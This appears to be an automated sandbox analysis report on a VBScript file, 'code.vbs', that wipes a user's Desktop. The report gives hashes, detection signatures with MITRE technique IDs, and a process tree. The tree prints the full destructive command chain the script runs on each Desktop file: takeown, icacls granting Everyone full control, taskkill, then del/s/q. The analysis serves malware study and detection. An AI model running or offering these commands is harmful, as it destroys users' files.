5106c187dcecd355f43361aa67d7e52ee3b3536973e07af11e3ad8e71251cb94

Analysis

max time kernel
13s
max time network
0s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 11:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

code.vbs
Size

1KB
MD5

a2082fe1eb8d73d603bddf802bc17ff9
SHA1

6ce195e76015e5c78fe54137f0a4653d01c306ed
SHA256

5106c187dcecd355f43361aa67d7e52ee3b3536973e07af11e3ad8e71251cb94
SHA512

3b83ba3ea1498c4417f07621f0be0c140a767aad6a55dc9d4088e0902832a7d5799ae44af00f2283ee8b84567497bc50f8621f60ecdace926f4c0f0ebf48edd4

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 58 IoCs

exploit

pid	Process
2144	takeown.exe
1920	icacls.exe
2604	icacls.exe
532	takeown.exe
2620	icacls.exe
2328	takeown.exe
1960	icacls.exe
2064	takeown.exe
3056	takeown.exe
344	icacls.exe
2424	icacls.exe
2032	icacls.exe
2124	icacls.exe
2164	icacls.exe
2692	takeown.exe
2180	icacls.exe
2796	takeown.exe
2236	takeown.exe
2076	icacls.exe
2808	takeown.exe
2944	takeown.exe
2564	icacls.exe
584	takeown.exe
3040	icacls.exe
1588	takeown.exe
2064	takeown.exe
1104	icacls.exe
920	takeown.exe
2124	takeown.exe
2412	icacls.exe
2568	takeown.exe
2916	takeown.exe
1788	takeown.exe
692	icacls.exe
884	takeown.exe
2256	icacls.exe
1416	icacls.exe
2136	takeown.exe
2216	icacls.exe
1596	takeown.exe
2192	takeown.exe
1416	icacls.exe
2648	takeown.exe
1412	takeown.exe
772	icacls.exe
2440	icacls.exe
2128	takeown.exe
1316	takeown.exe
2668	icacls.exe
2912	takeown.exe
1620	icacls.exe
404	icacls.exe
1096	icacls.exe
1624	takeown.exe
1932	icacls.exe
296	icacls.exe
3020	icacls.exe
2948	takeown.exe

Modifies file permissions 1 TTPs 58 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2808	takeown.exe
1932	icacls.exe
2568	takeown.exe
1960	icacls.exe
2192	takeown.exe
1588	takeown.exe
2424	icacls.exe
2064	takeown.exe
532	takeown.exe
2916	takeown.exe
2128	takeown.exe
3040	icacls.exe
3056	takeown.exe
296	icacls.exe
2124	icacls.exe
1104	icacls.exe
2796	takeown.exe
772	icacls.exe
2064	takeown.exe
2144	takeown.exe
1316	takeown.exe
692	icacls.exe
2076	icacls.exe
2944	takeown.exe
584	takeown.exe
1416	icacls.exe
1920	icacls.exe
2912	takeown.exe
2948	takeown.exe
2648	takeown.exe
2668	icacls.exe
2256	icacls.exe
2564	icacls.exe
404	icacls.exe
1624	takeown.exe
2216	icacls.exe
884	takeown.exe
2180	icacls.exe
1096	icacls.exe
2440	icacls.exe
920	takeown.exe
1412	takeown.exe
2124	takeown.exe
2236	takeown.exe
2164	icacls.exe
2032	icacls.exe
2412	icacls.exe
2604	icacls.exe
3020	icacls.exe
344	icacls.exe
2620	icacls.exe
2328	takeown.exe
2692	takeown.exe
2136	takeown.exe
1596	takeown.exe
1788	takeown.exe
1416	icacls.exe
1620	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 29 IoCs

evasion

pid	Process
872	taskkill.exe
2928	taskkill.exe
2152	taskkill.exe
2904	taskkill.exe
3064	taskkill.exe
2508	taskkill.exe
2412	taskkill.exe
2408	taskkill.exe
2892	taskkill.exe
2580	taskkill.exe
1296	taskkill.exe
2612	taskkill.exe
1992	taskkill.exe
2168	taskkill.exe
1620	taskkill.exe
1256	taskkill.exe
824	taskkill.exe
1816	taskkill.exe
2208	taskkill.exe
1704	taskkill.exe
2092	taskkill.exe
2560	taskkill.exe
1780	taskkill.exe
2812	taskkill.exe
1576	taskkill.exe
1988	taskkill.exe
2944	taskkill.exe
1592	taskkill.exe
2648	taskkill.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	taskkill.exe
Token: SeDebugPrivilege	2612	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	2508	taskkill.exe
Token: SeDebugPrivilege	1256	taskkill.exe
Token: SeDebugPrivilege	2944	taskkill.exe
Token: SeDebugPrivilege	2812	taskkill.exe
Token: SeDebugPrivilege	1992	taskkill.exe
Token: SeDebugPrivilege	824	taskkill.exe
Token: SeDebugPrivilege	2412	taskkill.exe
Token: SeDebugPrivilege	2408	taskkill.exe
Token: SeDebugPrivilege	1576	taskkill.exe
Token: SeDebugPrivilege	1704	taskkill.exe
Token: SeDebugPrivilege	872	taskkill.exe
Token: SeDebugPrivilege	1592	taskkill.exe
Token: SeDebugPrivilege	2892	taskkill.exe
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	2904	taskkill.exe
Token: SeDebugPrivilege	2580	taskkill.exe
Token: SeDebugPrivilege	2928	taskkill.exe
Token: SeDebugPrivilege	2152	taskkill.exe
Token: SeDebugPrivilege	2168	taskkill.exe
Token: SeDebugPrivilege	1296	taskkill.exe
Token: SeDebugPrivilege	2648	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	1780	taskkill.exe
Token: SeDebugPrivilege	2208	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2708	2748	WScript.exe	30
PID 2748 wrote to memory of 2708	2748	WScript.exe	30
PID 2748 wrote to memory of 2708	2748	WScript.exe	30
PID 2748 wrote to memory of 2660	2748	WScript.exe	32
PID 2748 wrote to memory of 2660	2748	WScript.exe	32
PID 2748 wrote to memory of 2660	2748	WScript.exe	32
PID 2748 wrote to memory of 2560	2748	WScript.exe	34
PID 2748 wrote to memory of 2560	2748	WScript.exe	34
PID 2748 wrote to memory of 2560	2748	WScript.exe	34
PID 2748 wrote to memory of 2984	2748	WScript.exe	36
PID 2748 wrote to memory of 2984	2748	WScript.exe	36
PID 2748 wrote to memory of 2984	2748	WScript.exe	36
PID 2748 wrote to memory of 2580	2748	WScript.exe	38
PID 2748 wrote to memory of 2580	2748	WScript.exe	38
PID 2748 wrote to memory of 2580	2748	WScript.exe	38
PID 2748 wrote to memory of 2724	2748	WScript.exe	40
PID 2748 wrote to memory of 2724	2748	WScript.exe	40
PID 2748 wrote to memory of 2724	2748	WScript.exe	40
PID 2708 wrote to memory of 2568	2708	cmd.exe	43
PID 2708 wrote to memory of 2568	2708	cmd.exe	43
PID 2708 wrote to memory of 2568	2708	cmd.exe	43
PID 2748 wrote to memory of 2548	2748	WScript.exe	42
PID 2748 wrote to memory of 2548	2748	WScript.exe	42
PID 2748 wrote to memory of 2548	2748	WScript.exe	42
PID 2708 wrote to memory of 2604	2708	cmd.exe	45
PID 2708 wrote to memory of 2604	2708	cmd.exe	45
PID 2708 wrote to memory of 2604	2708	cmd.exe	45
PID 2748 wrote to memory of 2484	2748	WScript.exe	46
PID 2748 wrote to memory of 2484	2748	WScript.exe	46
PID 2748 wrote to memory of 2484	2748	WScript.exe	46
PID 2708 wrote to memory of 3064	2708	cmd.exe	47
PID 2708 wrote to memory of 3064	2708	cmd.exe	47
PID 2708 wrote to memory of 3064	2708	cmd.exe	47
PID 2660 wrote to memory of 532	2660	cmd.exe	49
PID 2660 wrote to memory of 532	2660	cmd.exe	49
PID 2660 wrote to memory of 532	2660	cmd.exe	49
PID 2660 wrote to memory of 1096	2660	cmd.exe	51
PID 2660 wrote to memory of 1096	2660	cmd.exe	51
PID 2660 wrote to memory of 1096	2660	cmd.exe	51
PID 2748 wrote to memory of 1000	2748	WScript.exe	52
PID 2748 wrote to memory of 1000	2748	WScript.exe	52
PID 2748 wrote to memory of 1000	2748	WScript.exe	52
PID 2560 wrote to memory of 1624	2560	cmd.exe	53
PID 2560 wrote to memory of 1624	2560	cmd.exe	53
PID 2560 wrote to memory of 1624	2560	cmd.exe	53
PID 2660 wrote to memory of 2612	2660	cmd.exe	55
PID 2660 wrote to memory of 2612	2660	cmd.exe	55
PID 2660 wrote to memory of 2612	2660	cmd.exe	55
PID 2984 wrote to memory of 584	2984	cmd.exe	56
PID 2984 wrote to memory of 584	2984	cmd.exe	56
PID 2984 wrote to memory of 584	2984	cmd.exe	56
PID 2560 wrote to memory of 296	2560	cmd.exe	57
PID 2560 wrote to memory of 296	2560	cmd.exe	57
PID 2560 wrote to memory of 296	2560	cmd.exe	57
PID 2580 wrote to memory of 1596	2580	cmd.exe	129
PID 2580 wrote to memory of 1596	2580	cmd.exe	129
PID 2580 wrote to memory of 1596	2580	cmd.exe	129
PID 2984 wrote to memory of 2216	2984	cmd.exe	130
PID 2984 wrote to memory of 2216	2984	cmd.exe	130
PID 2984 wrote to memory of 2216	2984	cmd.exe	130
PID 2560 wrote to memory of 1620	2560	cmd.exe	150
PID 2560 wrote to memory of 1620	2560	cmd.exe	150
PID 2560 wrote to memory of 1620	2560	cmd.exe	150
PID 2748 wrote to memory of 1736	2748	WScript.exe	61

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\CompressRepair.wm && icacls C:\Users\Admin\Desktop\CompressRepair.wm /grant Everyone:(F) && taskkill /f /im CompressRepair.wm && del/s/q C:\Users\Admin\Desktop\CompressRepair.wm
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\CompressRepair.wm
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2568
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\CompressRepair.wm /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2604
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im CompressRepair.wm
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\desktop.ini && icacls C:\Users\Admin\Desktop\desktop.ini /grant Everyone:(F) && taskkill /f /im desktop.ini && del/s/q C:\Users\Admin\Desktop\desktop.ini
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\desktop.ini
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:532
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\desktop.ini /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1096
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im desktop.ini
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\EnterAssert.ps1xml && icacls C:\Users\Admin\Desktop\EnterAssert.ps1xml /grant Everyone:(F) && taskkill /f /im EnterAssert.ps1xml && del/s/q C:\Users\Admin\Desktop\EnterAssert.ps1xml
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\EnterAssert.ps1xml
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1624
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\EnterAssert.ps1xml /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im EnterAssert.ps1xml
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\GetSwitch.reg && icacls C:\Users\Admin\Desktop\GetSwitch.reg /grant Everyone:(F) && taskkill /f /im GetSwitch.reg && del/s/q C:\Users\Admin\Desktop\GetSwitch.reg
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\GetSwitch.reg
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:584
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\GetSwitch.reg /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2216
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im GetSwitch.reg
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\GrantTrace.cr2 && icacls C:\Users\Admin\Desktop\GrantTrace.cr2 /grant Everyone:(F) && taskkill /f /im GrantTrace.cr2 && del/s/q C:\Users\Admin\Desktop\GrantTrace.cr2
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\GrantTrace.cr2
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1596
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\GrantTrace.cr2 /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2124
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im GrantTrace.cr2
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\LimitCopy.hta && icacls C:\Users\Admin\Desktop\LimitCopy.hta /grant Everyone:(F) && taskkill /f /im LimitCopy.hta && del/s/q C:\Users\Admin\Desktop\LimitCopy.hta
  2⤵
  PID:2724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\LimitCopy.hta
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2916
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\LimitCopy.hta /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2620
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im LimitCopy.hta
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\MountGrant.dib && icacls C:\Users\Admin\Desktop\MountGrant.dib /grant Everyone:(F) && taskkill /f /im MountGrant.dib && del/s/q C:\Users\Admin\Desktop\MountGrant.dib
  2⤵
  PID:2548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\MountGrant.dib
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2328
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\MountGrant.dib /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MountGrant.dib
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\OutBackup.wma && icacls C:\Users\Admin\Desktop\OutBackup.wma /grant Everyone:(F) && taskkill /f /im OutBackup.wma && del/s/q C:\Users\Admin\Desktop\OutBackup.wma
  2⤵
  PID:2484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\OutBackup.wma
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2192
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\OutBackup.wma /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1416
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OutBackup.wma
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\OutInvoke.wps && icacls C:\Users\Admin\Desktop\OutInvoke.wps /grant Everyone:(F) && taskkill /f /im OutInvoke.wps && del/s/q C:\Users\Admin\Desktop\OutInvoke.wps
  2⤵
  PID:1000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\OutInvoke.wps
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\OutInvoke.wps /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OutInvoke.wps
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\OutShow.M2T && icacls C:\Users\Admin\Desktop\OutShow.M2T /grant Everyone:(F) && taskkill /f /im OutShow.M2T && del/s/q C:\Users\Admin\Desktop\OutShow.M2T
  2⤵
  PID:1736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\OutShow.M2T
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2144
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\OutShow.M2T /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1104
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OutShow.M2T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\ProtectAdd.avi && icacls C:\Users\Admin\Desktop\ProtectAdd.avi /grant Everyone:(F) && taskkill /f /im ProtectAdd.avi && del/s/q C:\Users\Admin\Desktop\ProtectAdd.avi
  2⤵
  PID:2656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\ProtectAdd.avi
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2128
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\ProtectAdd.avi /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2440
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ProtectAdd.avi
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\PushResolve.vbe && icacls C:\Users\Admin\Desktop\PushResolve.vbe /grant Everyone:(F) && taskkill /f /im PushResolve.vbe && del/s/q C:\Users\Admin\Desktop\PushResolve.vbe
  2⤵
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\PushResolve.vbe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1316
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\PushResolve.vbe /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im PushResolve.vbe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\RenameHide.htm && icacls C:\Users\Admin\Desktop\RenameHide.htm /grant Everyone:(F) && taskkill /f /im RenameHide.htm && del/s/q C:\Users\Admin\Desktop\RenameHide.htm
  2⤵
  PID:1984
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\RenameHide.htm
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1788
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\RenameHide.htm /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1920
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RenameHide.htm
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\RequestConnect.mht && icacls C:\Users\Admin\Desktop\RequestConnect.mht /grant Everyone:(F) && taskkill /f /im RequestConnect.mht && del/s/q C:\Users\Admin\Desktop\RequestConnect.mht
  2⤵
  PID:2204
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\RequestConnect.mht
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\RequestConnect.mht /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:692
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RequestConnect.mht
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\RequestSplit.mov && icacls C:\Users\Admin\Desktop\RequestSplit.mov /grant Everyone:(F) && taskkill /f /im RequestSplit.mov && del/s/q C:\Users\Admin\Desktop\RequestSplit.mov
  2⤵
  PID:860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\RequestSplit.mov
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:920
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\RequestSplit.mov /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RequestSplit.mov
    3⤵
    - Kills process with taskkill
    PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\ResolveConvert.tiff && icacls C:\Users\Admin\Desktop\ResolveConvert.tiff /grant Everyone:(F) && taskkill /f /im ResolveConvert.tiff && del/s/q C:\Users\Admin\Desktop\ResolveConvert.tiff
  2⤵
  PID:1796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\ResolveConvert.tiff
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2808
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\ResolveConvert.tiff /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:772
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ResolveConvert.tiff
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\ResolveSelect.cab && icacls C:\Users\Admin\Desktop\ResolveSelect.cab /grant Everyone:(F) && taskkill /f /im ResolveSelect.cab && del/s/q C:\Users\Admin\Desktop\ResolveSelect.cab
  2⤵
  PID:820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\ResolveSelect.cab
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2124
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\ResolveSelect.cab /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ResolveSelect.cab
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\RevokePop.TTS && icacls C:\Users\Admin\Desktop\RevokePop.TTS /grant Everyone:(F) && taskkill /f /im RevokePop.TTS && del/s/q C:\Users\Admin\Desktop\RevokePop.TTS
  2⤵
  PID:1376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\RevokePop.TTS
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3056
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\RevokePop.TTS /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RevokePop.TTS
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\ShowStart.xht && icacls C:\Users\Admin\Desktop\ShowStart.xht /grant Everyone:(F) && taskkill /f /im ShowStart.xht && del/s/q C:\Users\Admin\Desktop\ShowStart.xht
  2⤵
  PID:1536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\ShowStart.xht
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2912
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\ShowStart.xht /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ShowStart.xht
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\StartCheckpoint.odt && icacls C:\Users\Admin\Desktop\StartCheckpoint.odt /grant Everyone:(F) && taskkill /f /im StartCheckpoint.odt && del/s/q C:\Users\Admin\Desktop\StartCheckpoint.odt
  2⤵
  PID:1688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\StartCheckpoint.odt
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1412
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\StartCheckpoint.odt /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1620
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im StartCheckpoint.odt
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\StopBlock.wpl && icacls C:\Users\Admin\Desktop\StopBlock.wpl /grant Everyone:(F) && taskkill /f /im StopBlock.wpl && del/s/q C:\Users\Admin\Desktop\StopBlock.wpl
  2⤵
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\StopBlock.wpl
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2796
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\StopBlock.wpl /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1416
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im StopBlock.wpl
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\SubmitConvert.docx && icacls C:\Users\Admin\Desktop\SubmitConvert.docx /grant Everyone:(F) && taskkill /f /im SubmitConvert.docx && del/s/q C:\Users\Admin\Desktop\SubmitConvert.docx
  2⤵
  PID:1072
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\SubmitConvert.docx
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1588
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\SubmitConvert.docx /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2668
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SubmitConvert.docx
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\SubmitStop.mpa && icacls C:\Users\Admin\Desktop\SubmitStop.mpa /grant Everyone:(F) && taskkill /f /im SubmitStop.mpa && del/s/q C:\Users\Admin\Desktop\SubmitStop.mpa
  2⤵
  PID:2976
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\SubmitStop.mpa
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2136
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\SubmitStop.mpa /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2424
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SubmitStop.mpa
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
